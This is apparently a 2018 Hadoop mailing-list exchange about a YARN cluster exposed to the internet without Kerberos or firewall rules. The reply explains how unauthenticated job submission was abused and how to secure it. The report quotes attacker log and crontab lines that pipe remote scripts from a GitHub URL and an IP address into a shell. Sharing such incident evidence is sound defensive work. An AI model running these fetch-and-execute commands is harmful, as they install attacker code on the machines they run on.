Hi István,
see my short answers in red as follows.
- Have you set up kerberos authentication?
No
- Have you installed the jars on a machine that is having a public
internet address? I assume so, so the second question is whether you
have set up any firewall rules to prevent unwanted access to YARN ports?
Yes and no. Unfortunately, the default ports have not been changed.
- Have you investigated where the application was submitted, and who was
the user submitted it?
We saw only the "wget" in the log files and different users names (no
real names, just strings as users names) for github. After few hours the
users projects wasn't reachable any more. From this projects files were
downloaded (cr.sh or zz.sh, java files and executables for Linux) with
wget in the crontab.
Thank you for your support. We are now using Hadoop 3.1.0 with different
ports and so on.
Mit freundlichen Grüßen / Kind regards,
Cliff Mattern
Am 05.07.2018 um 17:53 schrieb István Fajth:
Hi Cliff,
this issue pops up a few questions...
- Have you set up kerberos authentication?
- Have you installed the jars on a machine that is having a public
internet address? I assume so, so the second question is whether you
have set up any firewall rules to prevent unwanted access to YARN ports?
- Have you investigated where the application was submitted, and who
was the user submitted it?
One thing to note: by default without Kerberos Hadoop has a very easy
user handling, and you can post the user name without any checks for
example for HDFS or for YARN... If you have a publicly facing server
without any authentication, then this could have been anyone from
anywhere in the world with a little knowledge on Hadoop by just
scanning you server whether you have any Hadoop related ports open and
try this out. If you want to prevent this, either you prevent your
ports from unauthorized access, or you set up proper authentication
and access right in Hadoop to prevent this from happening.
Pifta
Cliff Mattern <clifford.matt...@alphacarina.de
<mailto:clifford.matt...@alphacarina.de>> ezt írta (időpont: 2018.
júl. 5., Cs, 17:02):
Dear all, we downloaded
http://www.apache.org/dyn/closer.cgi/hadoop/common/hadoop-2.7.6/hadoop-2.7.6.tar.gz
and install the unpacked files as described. The md5 check was
correct. After few days we found in the log files of YARN
following entries: 2018-06-29 05:37:21,490 INFO
org.apache.hadoop.yarn.server.resourcemanager.amlauncher.AMLauncher:
Command to launch container container_1530169168373_1580_01_000001
: wget -q -O -
https://raw.githubusercontent.com/zzgamond1/mygit/master/zz.sh |
bash ... 2018-06-29 05:39:54,152 INFO
org.apache.hadoop.yarn.server.resourcemanager.amlauncher.AMLauncher:
Command to launch container container_1530169168373_1583_01_000001
: wget -q -O -
https://raw.githubusercontent.com/zzgamond1/mygit/master/zz.sh |
bash & disown In the crontab we found following single entry: * *
* * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null
2>&1 We installed hadoop 2.7.6 on two seperate machines and get
the same behaviour. This all looks like a trojaner is working.
What do you say to this issue?
Mit freundlichen Grüßen / Kind regards,
Cliff Mattern
--
Clifford Mattern
AlphaCarina Software GmbH
Taunusturm 18.OG
Taunustor 1
60310 Frankfurt am Main
Tel.: +49 (0)69 24 43 42-4395
Fax: +49 (0)69 24 43 42-4150
e-Mail:clifford.matt...@alphacarina.de
<mailto:clifford.matt...@alphacarina.de>
Internet:https://alphacarina.de/
HRB Nr. 2339 • Handelsregister Deggendorf
Geschäftsführer: Dipl.-Inf. Stephan Iglhaut
--
Pifta
